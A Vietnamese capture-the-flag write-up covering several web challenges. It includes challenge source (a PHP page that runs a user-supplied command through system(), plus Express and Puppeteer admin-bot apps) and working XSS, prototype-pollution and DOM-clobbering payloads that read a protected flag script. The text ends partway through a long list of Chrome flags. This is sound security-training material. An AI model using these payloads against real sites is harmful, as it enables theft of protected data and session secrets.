Giải này hầu như là **Client-Side**, đặc biệt là **XSS**, source cũng khá ngắn khá tương tự nhau nên cũng không phải tìm hiểu nhiều về các thư viện,... như các giải khác.
Tổng kết các chall với điểm và lượt solve:

## Never gonna tell a lie and type you
Source:
```php
<?php
ini_set("display_errors",1);
error_reporting(E_ALL);
//we tought about using passwords but you see everyone says they are insecure thus we came up with our own riddle.
function securePassword($user_secret){
if ($user_secret < 10000){
die("nope don't cheat");
}
$o = (integer) (substr(hexdec(md5(strval($user_secret))),0,7)*123981337);
return $user_secret * $o ;
}
//this weird http parameter handling is old we use json
$user_input = json_decode($_POST["data"]);
//attention handling user data is dangerous
var_dump($user_input);
if ($_SERVER['HTTP_USER_AGENT'] != "friendlyHuman"){
die("we don't tolerate toxicity");
}
if($user_input->{'user'} === "admin🤠") {
if ($user_input->{'password'} == securePassword($user_input->{'password'}) ){
echo " hail admin what can I get you ". system($user_input->{"command"});
}
else {
die("Skill issue? Maybe you just try again?");
}}
else {
echo "<html>";
echo "<body>";
echo "<h1>Welcome [to innovative Web Startup]</h1>";
echo "<p> here we focus on the core values of each website. The backbone that carries the entire frontend</p><br><br>";
echo "<blink>For this we only use old and trusty tools that are well documented and well tested</blink><br><br>";
echo "<Big>That is not to say that we are not innovative, our authenticators are ahead of their time.</Big><br><br>";
echo "<plaintext> to give you an teaser of our skills look at this example of commissioned work we build in a past project </plaintext>";
echo system("fortune")."<br>";
}
?>
```
Solution:

## todo
Source
```javascript
const express = require('express');
const puppeteer = require('puppeteer');
const randomBytes = require('crypto').randomBytes(32).toString('hex');
const fs = require('fs');
const flag = process.env.FLAG || fs.readFileSync('./flag', 'utf8');
const script = fs.readFileSync('./script.js', 'utf8');
const app = express();
app.use(express.urlencoded({ extended: true }));
app.get('/', (req, res) => {
res.send(`
<h1>TODO</h1>
<form action="/chal" method="post">
<input type="text" name="html" placeholder="HTML">
<button type="submit">Submit to /chal</button>
</form>
<hr>
<form action="/admin" method="post">
<input type="text" name="html" placeholder="HTML">
<button type="submit">Submit to /admin</button>
</form>
`);
});
app.post('/chal', (req, res) => {
const { html } = req.body;
res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self' 'unsafe-inline';");
res.send(`
<script src="/script.js"></script>
${html}
`);
});
app.get('/script.js', (req, res) => {
res.type('.js');
let response = script;
if ((req.get("cookie") || "").includes(randomBytes)) response = response.replace(/GPNCTF\{.*\}/, flag)
res.send(response);
});
app.post('/admin', async (req, res) => {
try {
const { html } = req.body;
const browser = await puppeteer.launch({ executablePath: process.env.BROWSER, args: ['--no-sandbox'] });
const page = await browser.newPage();
page.setCookie({ name: 'flag', value: randomBytes, domain: 'localhost', path: '/', httpOnly: true });
await page.goto('http://localhost:1337/');
await page.type('input[name="html"]', html);
await page.click('button[type="submit"]');
await new Promise(resolve => setTimeout(resolve, 2000));
const screenshot = await page.screenshot({ encoding: 'base64' });
await browser.close();
res.send(`<img src="data:image/png;base64,${screenshot}" />`);
} catch(e) {console.error(e); res.send("internal error :( pls report to admins")}
});
app.listen(1337, () => console.log('listening on http://localhost:1337'));
```
Bot sẽ nhập param `html` sau đó và POST đến `/chal`, sau đó capture screenshot lại. Mục tiêu là đưa nó vào `/script.js` chứa flag:
```javascript
class FlagAPI {
constructor() {
throw new Error("Not implemented yet!")
}
static valueOf() {
return new FlagAPI()
}
static toString() {
return "<FlagAPI>"
}
// TODO: Make sure that this is secure before deploying
// getFlag() {
// return "GPNCTF{FAKE_FLAG_ADMINBOT_WILL_REPLACE_ME}"
// }
}
```
Payload:
```
<img src=0 onerror=location.href="/script.js">
```
Hoặc
```javascript
<script defer>
let a = Function.prototype.toString.apply(FlagAPI);
document.write(a);
</script>
```
## todo-hard
Khác bài trên ở chỗ:

flag đã bị replace:

### Solution:
- intended:
Thay đổi output để tránh bị replace:
```html
<script>
FlagAPI.toString = Function.prototype.toString;
document.write(FlagAPI.toString().split(""));
</script>
```

- unintended:
Prototype pollution:
```
<script>''.__proto__.replace = (a, b) => a</script>
<body></body><script>"".__proto__.replace = () => window.location="/script.js" </script>
```


Dom clobbering (`document.body`):
```javascript
<script>
FlagAPI.toString = Object.toString;document.write(FlagAPI.toString())
</script>
<form name="body"></form>
```

## So many flags
Source:
```javascript!
const express = require('express');
const { exec, spawn } = require('child_process');
const fs = require('fs');
const path = require('path');
const multer = require('multer');
const app = express();
const port = 1337;
const flags = fs.readFileSync('flags.txt', 'utf8')
app.use(express.urlencoded({ extended: true }));
app.use(express.json());
const storage = multer.diskStorage({
destination: (req, file, cb) => {
cb(null, path.join(__dirname, 'uploads'));
},
filename: (req, file, cb) => {
cb(null, Math.random().toString(36).substring(7) + '.html');
}
});
const upload = multer({ storage });
app.get('/', (req, res) => {
res.send(`
<html>
<body>
<h1>Upload an HTML file</h1>
<form action="/submit" method="post" enctype="multipart/form-data">
<input type="file" name="htmlFile" accept=".html">
<button type="submit">Submit</button>
</form>
</body>
</html>
`);
});
app.post('/submit', upload.single('htmlFile'), (req, res) => {
console.log(req.file);
const { filename, path: filePath } = req.file;
if (!filename || !filePath) {
return res.status(400).send('No file uploaded');
}
const userDir = '/tmp/chrome-user-data-dir-' + Math.random().toString(36).substring(7);
// Don't even try to remove --headless, everything will break. If you want to try stuff, use --remote-debugging-port and disable all other remote debugging flags.
const command = `bash -c "google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run ${flags} ${filePath}"`;
res.send('File uploaded and processed successfully. Launched Chrome:<br><br>' + command);
const chromeProcess = exec(command, (error, stdout, stderr) => {
if (error) {
console.error(`Error executing command: ${error.message}\nStdout: ${stdout}`);
} else {
console.error(`Stderr: ${stderr}\nStdout: ${stdout}`);
}
});
setTimeout(() => {
// seems brutal but chrome does Weird Things™ when launched with Every Possible Flag™
exec('killall -9 chrome', (error, stdout, stderr) => {});
console.log('Chrome process aborted');
}, 10_000);
});
app.listen(port, () => {
console.log(`Server running on port ${port}`);
});
```
Bài này cho phép upload file html và truy cập vào nó bằng cli của chrome
```javascript!
const command = `bash -c "google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run ${flags} ${filePath}"`;
```
Và dĩ nhiên có thể thực thi được JS.
Một số options chạy chrome được lưu trong `flags.txt`:
```
--0 --1 --10000 --100000 --1000000 --2 --3d-display-mode --4 --50000 --500000 --5000000 --7 --? --accept-empty-variations-seed-signature --accept-lang --accept-resource-provider --adaboost --add-gpu-appcontainer-caps --add-xr-appcontainer-caps --additional-private-state-token-key-commitments --aggressive-cache-discard --all --all-renderers --allarticles --allow-command-line-plugins --allow-cross-origin-auth-prompt --allow-empty-passwords-in-tests --allow-external-pages --allow-failed-policy-fetch-for-test --allow-file-access-from-files --allow-future-manifest-version --allow-http-background-page --allow-http-screen-capture --allow-insecure-localhost --allow-legacy-extension-manifests --allow-loopback-in-peer-connection --allow-nacl-crxfs-api --allow-nacl-file-handle-api --allow-nacl-socket-api --allow-os-install --allow-pre-commit-input --allow-profiles-outside-user-dir --allow-ra-in-dev-mode --allow-running-insecure-content --allow-sandbox-debugging --allow-silent-push --allow-third-party-modules --allowlisted-extension-id --almanac-api-url --alsa-amp-device-name --alsa-amp-element-name --alsa-check-close-timeout --alsa-enable-upsampling --alsa-fixed-output-sample-rate --alsa-input-device --alsa-mute-device-name --alsa-mute-element-name --alsa-output-avail-min --alsa-output-buffer-size --alsa-output-device --alsa-output-period-size --alsa-output-start-threshold --alsa-volume-device-name --alsa-volume-element-name --also-emit-success-logs --always-enable-hdcp --always-use-complex-text --alwaystrue --angle --animated-image-resume --animation-duration-scale --app --app-auto-launched --app-id --app-launch-url-for-shortcuts-menu-item --app-mode-auth-code --app-mode-oauth-token --app-mode-oem-manifest --app-run-on-os-login-mode --app-shell-allow-roaming --app-shell-host-window-size --app-shell-preferred-network --apple --apps-gallery-download-url --apps-gallery-update-url --apps-gallery-url --apps-keep-chrome-alive-in-tests --arc-availability --arc-available --arc-block-keymint --arc-data-cleanup-on-start --arc-disable-app-sync --arc-disable-dexopt-cache --arc-disable-download-provider --arc-disable-gms-core-cache --arc-disable-locale-sync --arc-disable-media-store-maintenance --arc-disable-play-auto-install --arc-disable-tts-cache --arc-disable-ureadahead --arc-erofs --arc-force-post-boot-dex-opt --arc-force-show-optin-ui --arc-generate-play-auto-install --arc-host-ureadahead-generation --arc-host-ureadahead-mode --arc-install-event-chrome-log-for-tests --arc-packages-cache-mode --arc-play-store-auto-update --arc-scale --arc-start-mode --arc-tos-host-for-tests --arc-use-dev-caches --arcvm-ureadahead-mode --arcvm-use-hugepages --as-browser --ash-allow-default-shelf-pin-layout-ignoring-sync --ash-bypass-glanceables-pref --ash-clear-fast-ink-buffer --ash-constrain-pointer-to-root --ash-contextual-nudges-interval --ash-contextual-nudges-reset-shown-count --ash-debug-shortcuts --ash-dev-shortcuts --ash-disable-touch-exploration-mode --ash-enable-magnifier-key-scroller --ash-enable-palette-on-all-displays --ash-enable-software-mirroring --ash-enable-unified-desktop --ash-hide-notifications-for-factory --ash-host-window-bounds --ash-no-nudges --ash-power-button-position --ash-side-volume-button-position --ash-touch-hud --attestation-server --attribution-reporting-debug-mode --audio --audio-buffer-size --audio-capturer-with-echo-cancellation --audio-codecs-from-edid --audio-output-channels --audio-output-sample-rate --audio-process-high-priority --aue-reached-for-update-required-test --aura-legacy-power-button --auth-server-allowlist --auth-spnego-account-type --auto --auto-accept-camera-and-microphone-capture --auto-accept-this-tab-capture --auto-grant-captured-surface-control-prompt --auto-open-devtools-for-tabs --auto-reject-this-tab-capture --auto-select-desktop-capture-source --auto-select-tab-capture-source-by-title --auto-select-window-capture-source-by-title --autofill-api-key --autofill-server-url --autofill-upload-throttling-period-in-days --autoplay-policy --back-gesture-horizontal-threshold --background-tracing-output-file --bgra --biod-fake --blink-settings --block-new-web-contents --bootstrap --borealis-launch-options --bottom-gesture-start-height --bound-session-cookie-rotation-delay --bound-session-cookie-rotation-result --browser --browser-data-backward-migration-for-user --browser-data-backward-migration-mode --browser-data-migration-for-user --browser-data-migration-mode --browser-subprocess-path --browser-test --browser-ui-tests-verify-pixels --bwsi --bypass-app-banner-engagement-checks --bypass-installable-message-throttle-for-testing --camera-effects-supported-by-hardware --canvas-2d-layers --cardboard --cast-app-background-color --cast-developer-certificate-path --cast-initial-screen-height --cast-initial-screen-width --cast-log-device-cert-chain --cast-mirroring-target-playout-delay --cast-mojo-broker-path --cast-streaming-force-disable-hardware-h264 --cast-streaming-force-disable-hardware-vp8 --cast-streaming-force-enable-hardware-h264 --cast-streaming-force-enable-hardware-vp8 --cc-layer-tree-test-long-timeout --cc-layer-tree-test-no-timeout --cc-scroll-animation-duration-in-seconds --cdm --cdm-data-directory --cdm-data-quota-bytes --cellular-first --change-stack-guard-on-fork --character --check-accessibility-permission --check-damage-early --check-for-update-interval --check-permission --check-screen-recording-permission --child-wallpaper-large --child-wallpaper-small --cipher-suite-blacklist --clamshell --class --clear-key-cdm-path-for-testing --clear-token-service --compensate-for-unstable-pinch-zoom --compile-shader-always-succeeds --component-updater --component-updater-trust-tokens-component-path --conditional-focus-window-ms --conservative --content-shell-devtools-tab-target --content-shell-hide-toolbar --content-shell-host-window-size --context-provider --controller --coral-feature-key --cors-exempt-headers --crash-dumps-dir --crash-loop-before --crash-on-failure --crash-on-hang-threads --crash-server-url --crashpad-handler --crashpad-handler-pid --create-browser-on-startup-for-tests --cros-disks-fake --cros-postlogin-data-fd --cros-postlogin-log-file --cros-region --cros-startup-data-fd --crosh-command --cryptauth-http-host --cryptauth-v2-devicesync-http-host --cryptauth-v2-enrollment-http-host --cryptohome-ignore-cleanup-ownership-for-testing --cryptohome-recovery-service-base-url --cryptohome-recovery-use-test-env --cryptohome-use-authsession --cryptohome-use-old-encryption-for-testing --custom-android-messages-domain --custom-devtools-frontend --custom_summary --d3d-support --d3d11 --d3d11-null --d3d11on12 --d3d9 --daemon --dark-mode-settings --data-path --data-quota-bytes --data-url-in-svg-use-enabled --dawn --dawn-d3d11 --dawn-d3d12 --dawn-metal --dawn-swiftshader --dawn-vulkan --dbus-stub --deadline-to-synchronize-surfaces --debug-devtools --debug-packed-apps --debug-print --default --default-country-code --default-tile-height --default-tile-width --default-trace-buffer-size-limit-in-kb --default-wallpaper-is-oem --default-wallpaper-large --default-wallpaper-small --defer-external-display-timeout --defer-feature-list --demo-mode-enrolling-username --demo-mode-force-arc-offline-provision --demo-mode-highlights-extension --demo-mode-screensaver-extension --demo-mode-swa-content-directory --deny-permission-prompts --derelict-detection-timeout --derelict-idle-timeout --desktop --desktop-window-1080p --deterministic-mode --dev --device-management-url --device-scale-factor --devtools-code-coverage --devtools-flags --diagnostics-format --diagnostics-recovery --direct-composition-video-swap-chain-format --direction --disable --disable-2d-canvas-clip-aa --disable-2d-canvas-image-chromium --disable-3d-apis --disable-accelerated-2d-canvas --disable-accelerated-mjpeg-decode --disable-accelerated-video-decode --disable-accelerated-video-encode --disable-adpf --disable-angle-features --disable-app-content-verification --disable-arc-cpu-restriction --disable-arc-data-wipe --disable-arc-opt-in-verification --disable-audio-input --disable-audio-output --disable-auto-maximize-for-tests --disable-auto-reload --disable-auto-wpt-origin-isolation --disable-ax-menu-list --disable-back-forward-cache --disable-background-media-suspend --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-backing-store-limit --disable-best-effort-tasks --disable-blink-features --disable-breakpad --disable-cancel-all-touches --disable-canvas-aa --disable-checker-imaging --disable-checking-optimization-guide-user-permissions --disable-chrome-tracing-computation --disable-component-extensions-with-background-pages --disable-component-update --disable-composited-antialiasing --disable-cookie-encryption --disable-crash-reporter --disable-databases --disable-dawn-features --disable-default-apps --disable-demo-mode --disable-dev-shm-usage --disable-device-disabling --disable-dinosaur-easter-egg --disable-disallow-lacros --disable-domain-blocking-for-3d-apis --disable-domain-reliability --disable-drive-fs-for-testing --disable-explicit-dma-fences --disable-extensions --disable-extensions-except --disable-extensions-file-access-check --disable-extensions-http-throttling --disable-features --disable-field-trial-config --disable-file-system --disable-fine-grained-time-zone-detection --disable-first-run-ui --disable-font-subpixel-positioning --disable-frame-rate-limit --disable-gaia-services --disable-gesture-requirement-for-presentation --disable-gl-drawing-for-tests --disable-gl-error-limit --disable-gl-extensions --disable-glsl-translator --disable-gpu --disable-gpu-compositing --disable-gpu-driver-bug-workarounds --disable-gpu-early-init --disable-gpu-memory-buffer-compositor-resources --disable-gpu-memory-buffer-video-frames --disable-gpu-process-crash-limit --disable-gpu-process-for-dx12-info-collection --disable-gpu-program-cache --disable-gpu-rasterization --disable-gpu-sandbox --disable-gpu-shader-disk-cache --disable-gpu-vsync --disable-gpu-watchdog --disable-hang-monitor --disable-headless-mode --disable-hid-blocklist --disable-hid-detection-on-oobe --disable-highres-timer --disable-histogram-customizer --disable-image-animation-resync --disable-in-process-stack-traces --disable-input-event-activation-protection --disable-ios-password-suggestions --disable-ipc-flooding-protection --disable-javascript-harmony-shipping --disable-kill-after-bad-ipc --disable-lacros-keep-alive --disable-layer-tree-host-memory-pressure --disable-lazy-loading --disable-lcd-text --disable-legacy-window --disable-libassistant-logfile --disable-local-storage --disable-logging --disable-logging-redirect --disable-login-animations --disable-login-lacros-opening --disable-login-screen-apps --disable-low-end-device-mode --disable-low-latency-dxva --disable-low-res-tiling --disable-machine-cert-request --disable-media-session-api --disable-metal-shader-cache --disable-mipmap-generation --disable-modal-animations --disable-model-download-verification --disable-mojo-renderer --disable-nacl --disable-namespace-sandbox --disable-new-base-url-inheritance-behavior --disable-new-content-rendering-timeout --disable-notifications --disable-nv12-dxgi-video --disable-oobe-chromevox-hint-timer-for-testing --disable-oobe-network-screen-skipping-for-testing --disable-oopr-debug-crash-dump --disable-origin-trial-controlled-blink-features --disable-overscroll-edge-effect --disable-partial-raster --disable-pdf-tagging --disable-pepper-3d --disable-per-user-timezone --disable-permissions-api --disable-pinch --disable-pnacl-crash-throttling --disable-policy-key-verification --disable-popup-blocking --disable-prefer-compositing-to-lcd-text --disable-presentation-api --disable-print-preview --disable-prompt-on-repost --disable-pull-to-refresh-effect --disable-pushstate-throttle --disable-reading-from-canvas --disable-remote-fonts --disable-remote-playback-api --disable-renderer-accessibility --disable-renderer-backgrounding --disable-resource-scheduler --disable-rgba-4444-textures --disable-rollback-option --disable-rtc-smoothness-algorithm --disable-screen-orientation-lock --disable-scroll-to-text-fragment --disable-search-engine-choice-screen --disable-seccomp-filter-sandbox --disable-setuid-sandbox --disable-shader-name-hashing --disable-shared-workers --disable-signin-frame-client-certs --disable-site-isolation-trials --disable-skia-graphite --disable-skia-runtime-opts --disable-smooth-scrolling --disable-software-rasterizer --disable-speech-api --disable-speech-synthesis-api --disable-stack-profiler --disable-third-party-keyboard-workaround --disable-threaded-animation --disable-threaded-compositing --disable-throttle-non-visible-cross-origin-iframes --disable-timeouts-for-profiling --disable-touch-drag-drop --disable-usb-keyboard-detect --disable-v8-idle-tasks --disable-variations-safe-mode --disable-variations-seed-fetch-throttling --disable-video-capture-use-gpu-memory-buffer --disable-virtual-keyboard --disable-volume-adjust-sound --disable-vsync-for-tests --disable-vulkan-fallback-to-gl-for-testing --disable-vulkan-for-tests --disable-vulkan-surface --disable-wayland-ime --disable-web-security --disable-webgl --disable-webgl-image-chromium --disable-webgl2 --disable-webrtc-encryption --disable-webrtc-hw-decoding --disable-webrtc-hw-encoding --disable-yuv-image-decoding --disable-zero-browsers-open-for-tests --disable-zero-copy --disable-zero-copy-dxgi-video --disabled --disallow-lacros --disallow-non-exact-resource-reuse --disallow-policy-block-dev-mode --discoverability --disk-cache-dir --disk-cache-size --display --display-properties --dmg-device --document-user-activation-required --dom-automation --double-buffer-compositing --draw-view-bounds-rects --drm-virtual-connector-is-external --dump-blink-runtime-call-stats --dump-browser-histograms --dumpstate-path --edge-touch-filtering --egl --elevate --embedded-extension-options --enable --enable-accelerated-2d-canvas --enable-adaptive-selection-handle-orientation --enable-aggressive-domstorage-flushing --enable-angle-features --enable-arc --enable-arcvm --enable-arcvm-rt-vcpu --enable-ash-debug-browser --enable-audio-debug-recordings-from-extension --enable-auto-reload --enable-automation --enable-background-thread-pool --enable-background-tracing --enable-begin-frame-control --enable-benchmarking --enable-ble-advertising-in-apps --enable-blink-features --enable-blink-test-features --enable-bookmark-undo --enable-caret-browsing --enable-cast-receiver --enable-cast-streaming-receiver --enable-chrome-browser-cloud-management --enable-cloud-print-proxy --enable-consumer-kiosk --enable-content-directories --enable-crash-reporter --enable-crash-reporter-for-testing --enable-crx-hash-check --enable-dawn-backend-validation --enable-dawn-features --enable-dim-shelf --enable-direct-composition-video-overlays --enable-discover-feed --enable-distillability-service --enable-dom-distiller --enable-domain-reliability --enable-distillability-service --enable-dom-distiller --enable-domain-reliability --enable-encryption-selection --enable-exclusive-audio --enable-experimental-accessibility-autoclick --enable-experimental-accessibility-labels-debugging --enable-experimental-accessibility-language-detection --enable-experimental-accessibility-language-detection-dynamic --enable-experimental-accessibility-manifest-v3 --enable-experimental-accessibility-switch-access-text --enable-experimental-cookie-features --enable-experimental-extension-apis --enable-experimental-web-platform-features --enable-experimental-webassembly-features --enable-extension-activity-log-testing --enable-extension-activity-logging --enable-extension-assets-sharing --enable-fake-no-alloc-direct-call-for-testing --enable-features --enable-finch-seed-delta-compression --enable-font-antialiasing --enable-gpu --enable-gpu-benchmarking --enable-gpu-blocked-time --enable-gpu-client-logging --enable-gpu-client-tracing --enable-gpu-debugging --enable-gpu-driver-debug-logging --enable-gpu-rasterization --enable-gpu-service-logging --enable-gpu-service-tracing --enable-hangout-services-extension-for-testing --enable-houdini64 --enable-idle-tracing --enable-input --enable-ios-handoff-to-other-devices --enable-isolated-web-apps-in-renderer --enable-lacros-fork-zygotes-at-login-screen --enable-lacros-shared-components-dir --enable-lcd-text --enable-leak-detection --enable-leak-detection-heap-snapshot --enable-legacy-background-tracing --enable-live-caption-pref-for-testing --enable-local-file-accesses --enable-logging --enable-longpress-drag-selection --enable-low-res-tiling --enable-magnifier-debug-draw-rect --enable-main-frame-before-activation --enable-nacl --enable-natural-scroll-default --enable-ndk-translation --enable-ndk-translation64 --enable-net-benchmarking --enable-network-information-downlink-max --enable-new-app-menu-icon --enable-ntp-search-engine-country-detection --enable-oobe-chromevox-hint-timer-for-dev-mode --enable-oobe-test-api --enable-optimization-guide-debug-logs --enable-page-content-annotations-logging --enable-pepper-testing --enable-pixel-output-in-tests --enable-plugin-placeholder-testing --enable-precise-memory-info --enable-prefer-compositing-to-lcd-text --enable-primary-node-access-for-vkms-testing --enable-privacy-sandbox-ads-apis --enable-profile-shortcut-manager --enable-promo-manager-fullscreen-promos --enable-protected-video-buffers --enable-raster-side-dark-mode-for-images --enable-requisition-edits --enable-resources-file-sharing --enable-rgba-4444-textures --enable-sandbox-logging --enable-scaling-clipped-images --enable-service-binary-launcher --enable-service-manager-tracing --enable-sgi-video-sync --enable-skia-benchmarking --enable-skia-graphite --enable-smooth-scrolling --enable-spatial-navigation --enable-speech-dispatcher --enable-spotlight-actions --enable-strict-mixed-content-checking --enable-strict-powerful-feature-restrictions --enable-swap-buffers-with-bounds --enable-tablet-form-factor --enable-third-party-keyboard-workaround --enable-threaded-texture-mailboxes --enable-top-drag-gesture --enable-touch-calibration-setting --enable-touch-drag-drop --enable-touchpad-three-finger-click --enable-touchview --enable-trace-app-source --enable-tracing --enable-tracing-format --enable-tracing-fraction --enable-tracing-output --enable-ui-devtools --enable-unsafe-webgpu --enable-upgrade-signin-promo --enable-usermedia-screen-capturing --enable-utempter --enable-viewport --enable-virtual-keyboard --enable-vtune-support --enable-vulkan-protected-memory --enable-wayland-ime --enable-web-auth-deprecated-mojo-testing-api --enable-webgl-developer-extensions --enable-webgl-draft-extensions --enable-webgl-image-chromium --enable-webrtc-srtp-encrypted-headers --enable-widevine --enable-zero-copy --enabled --encode-binary --encrypted-reporting-url --enforce --enforce-gl-minimums --enforce_strict --ensure-forced-color-profile --enterprise-enable-forced-re-enrollment --enterprise-enable-forced-re-enrollment-on-flex --enterprise-enable-initial-enrollment --enterprise-enable-unified-state-determination --enterprise-enrollment-initial-modulus --enterprise-enrollment-modulus-limit --enterprise-force-manual-enrollment-in-test-builds --eol-ignore-profile-creation-time --eol-reset-dismissed-prefs --evaluate_capability --explicitly-allowed-ports --export-uma-logs-to-file --expose-internals-for-testing --extension-apps-block-for-app-service-in-ash --extension-apps-run-in-ash-only --extension-content-verification --extension-force-channel --extension-install-event-chrome-log-for-tests --extension-process --extension-updater-test-request --extensions-install-verification --extensions-on-chrome-urls --extensions-run-in-ash-and-lacros --extensions-run-in-ash-only --external-metrics-collection-interval --extra-search-query-params --extra-web-apps-dir --fail-audio-stream-creation --fake-arc-recommended-apps-for-testing --fake-drivefs-launcher-chroot-path --fake-drivefs-launcher-socket-path --fake-variations-channel --false --feedback-server --field-trial-handle --file-storage-server-upload-url --file-url-path-alias --file_chooser --finch-seed-expiration-age --finch-seed-ignore-pending-download --finch-seed-min-download-period --finch-seed-min-update-period --fingerprint-sensor-location --first-exec-after-boot --flag-switches-begin --flag-switches-end --font-cache-shared-handle --font-render-hinting --force-app-mode --force-assistant-onboarding --force-browser-crash-on-gpu-crash --force-browser-data-migration-for-testing --force-caption-style --force-color-profile --force-cryptohome-recovery-for-testing --force-dark-mode --force-dev-mode-highlighting --force-device-ownership --force-device-scale-factor --force-devtools-available --force-disable-variation-ids --force-enable-metrics-reporting --force-enable-stylus-tools --force-fieldtrials --force-first-run --force-first-run-ui --force-gpu-mem-available-mb --force-gpu-mem-discardable-limit-mb --force-happiness-tracking-system --force-headless-for-tests --force-high-contrast --force-hwid-check-result-for-test --force-lacros-launch-at-login-screen-for-testing --force-launch-browser --force-login-manager-in-tests --force-max-texture-size --force-media-resolution-height --force-media-resolution-width --force-msbb-setting-on-for-ukm --force-online-connection-state-for-indicator --force-permission-policy-unload-default-enabled --force-pnacl-subzero --force-presentation-receiver-for-testing --force-protected-video-output-buffers --force-raster-color-profile --force-refresh-rate-throttle --force-renderer-accessibility --force-search-engine-choice-screen --force-separate-egl-display-for-webgl-testing --force-show-cursor --force-show-update-menu-badge --force-status-area-collapsible --force-tablet-power-button --force-text-direction --force-ui-direction --force-update-menu-type --force-update-remote-url --force-variation-ids --force-video-overlays --force-wave-audio --force-webgpu-compat --force-webxr-runtime --force-whats-new --forest-feature-key --form-factor --frame-throttle-fps --full-memory-crash-report --gaia-url --gamepad-polling-interval --gcm-mcs-endpoint --gcm-registration-url --generate-accessibility-test-expectations --generate-pdf-document-outline --get-access-token-for-test --gl --gl-egl --gl-null --gl-shader-interm-output --glanceables-key --gles --gles-null --google-api-key --google-apis-url --google-base-url --google-doodle-url --google-url --gpu --gpu-blocklist-test-group --gpu-device-id --gpu-disk-cache-size-kb --gpu-driver-bug-list-test-group --gpu-driver-version --gpu-launcher --gpu-no-context-lost --gpu-preferences --gpu-process --gpu-program-cache-size-kb --gpu-rasterization-msaa-sample-count --gpu-revision --gpu-sandbox-allow-sysv-shm --gpu-sandbox-failures-fatal --gpu-sandbox-start-early --gpu-startup-dialog --gpu-sub-system-id --gpu-vendor-id --gpu-watchdog-timeout-seconds --gpu2-startup-dialog --graphics-buffer-count --growth-campaigns-path --guest --guest-wallpaper-large --guest-wallpaper-small --gvr --hardware-video-decode-framerate --hardware_video_decoding --hardware_video_encoding --has-chromeos-keyboard --has-hps --has-internal-stylus --has-number-pad --hermes-fake --hidden-network-migration-age --hidden-network-migration-interval --hide-crash-restore-bubble --hide-icons --hide-scrollbars --highlight-all-webviews --highlight-non-lcd-text-layers --homedir --homepage --host --host-package-label --host-package-name --host-resolver-rules --host-version-code --icon_reader --ignore-arcvm-dev-conf --ignore-autocomplete-off-autofill --ignore-certificate-errors-spki-list --ignore-google-port-numbers --ignore-gpu-blocklist --ignore-unknown-auth-factors --ignore-urlfetcher-cert-requests --ignore-user-profile-mapping-for-tests --ime --in-process-broker --in-process-gpu --initial-preferences-file --initialize-client-hints-storage --install-autogenerated-theme --install-chrome-app --install-isolated-web-app-from-file --install-isolated-web-app-from-url --install-log-fast-upload-for-tests --instant-process --ip-address-space-overrides --ipc-dump-directory --ipc-fuzzer-testcase --isolate-origins --isolated-context-origins --isolation-by-default --js-flags --keep-alive-for-test --kiosk --kiosk-printing --kiosk-splash-screen-min-time-seconds --lacros-availability-ignore --lacros-chrome-additional-args --lacros-chrome-additional-args-file --lacros-chrome-additional-env --lacros-chrome-path --lacros-mojo-socket-for-testing --lacros-selection-policy-ignore --lang --last-launched-app --launch-rma --launch-time-ticks --layer --libassistant --list-apps --list-audio-devices --llvm-profile-file --load-extension --load-guest-mode-test-extension --load-signin-profile-test-extension --localhost --log-best-effort-tasks --log-file --log-gpu-control-list-decisions --log-level --log-missing-unload-ack --log-net-log --log-on-ui-double-background-blur --login-manager --login-profile --login-user --lso-url --ltr --make-chrome-default --managed-user-id --mangle-localized-strings --manual --market-url-for-testing --max-decoded-image-size-mb --max-gum-fps --max-untiled-layer-height --max-untiled-layer-width --max-web-media-player-count --mem-pressure-system-reserved-kb --memlog --memlog-sampling-rate --memlog-stack-mode --message-loop-type-ui --metal --metal-null --metrics-client-id --metrics-recording-only --metrics-shmem-handle --metrics-upload-interval --mf_cdm --min-height-for-gpu-raster-tile --min-video-decoder-output-buffer-size --minimal --mirroring --mixed --mixer-enable-dynamic-channel-count --mixer-service-endpoint --mixer-service-port --mixer-source-audio-ready-threshold-ms --mixer-source-input-queue-ms --mock --mock-cert-verifier-default-result-for-testing --model-quality-service-api-key --mojo-local-storage --mojo-pipe-token --monitoring-destination-id --mse-audio-buffer-size-limit-mb --mse-video-buffer-size-limit-mb --mute-audio --nacl-debug-mask --nacl-gdb --nacl-gdb-script --nacl-loader --native --native-messaging-connect-extension --native-messaging-connect-host --native-messaging-connect-id --native-with-thread-names --nearby-share-certificate-validity-period-hours --nearby-share-device-id --nearby-share-num-private-certificates --nearby-share-verbose-logging --nearbysharing-http-host --net-log-capture-mode --net-log-max-size-mb --netifs-to-ignore --network --network-quiet-timeout --no-appcompat-clear --no-default-browser-check --no-delay-for-dx12-vulkan-info-collection --no-experiments --no-first-run --no-mojo --no-network-profile-warning --no-pings --no-pre-read-main-dll --no-proxy-server --no-sandbox --no-service-autorun --no-system-proxy-config-service --no-unsandboxed-zygote --no-user-gesture-required --no-vr-runtime --no-xshm --no-zygote --no-zygote-sandbox --noerrdialogs --none --none_and_elevated --note-taking-app-ids --notification-inline-reply --notification-launch-id --null --num-raster-threads --nv12 --oauth-account-manager-url --oauth2-client-id --oauth2-client-secret --offer-in-settings --offscreen-document-testing --on-the-fly-mhtml-hash-computation --ondevice-validation-write-to-file --on_device_model_execution --oobe-eula-url-for-tests --oobe-force-tablet-first-run --oobe-large-screen-special-scaling --oobe-print-frontend-load-timings --oobe-screenshot-dir --oobe-show-accessibility-button-on-marketing-opt-in-for-testing --oobe-skip-postlogin --oobe-skip-to-login --oobe-timer-interval --oobe-timezone-override-for-tests --oobe-trigger-sync-timeout-for-tests --opengraph --openxr --optimization-guide-fetch-hints-override --optimization-guide-fetch-hints-override-timer --optimization-guide-model-execution-validate --optimization-guide-model-override --optimization-guide-model-validate --optimization-guide-ondevice-model-execution-override --optimization-guide-service-api-key --optimization-guide-service-get-hints-url --optimization-guide-service-get-models-url --optimization-guide-service-model-execution-url --optimization_guide_hints_override --orientation-sensors --origin-trial-disabled-features --origin-trial-disabled-tokens --origin-trial-public-key --output --override-enabled-cdm-interface-version --override-hardware-secure-codecs-for-testing --override-language-detection --override-metrics-upload-url --override-use-software-gl-for-tests --ozone-dump-file --ozone-override-screen-size --ozone-platform --ozone-platform-hint --pack-extension-key --package-name --package-version-code --package-version-name --page-content-annotations-validation-batch-size --page-content-annotations-validation-content-visibility 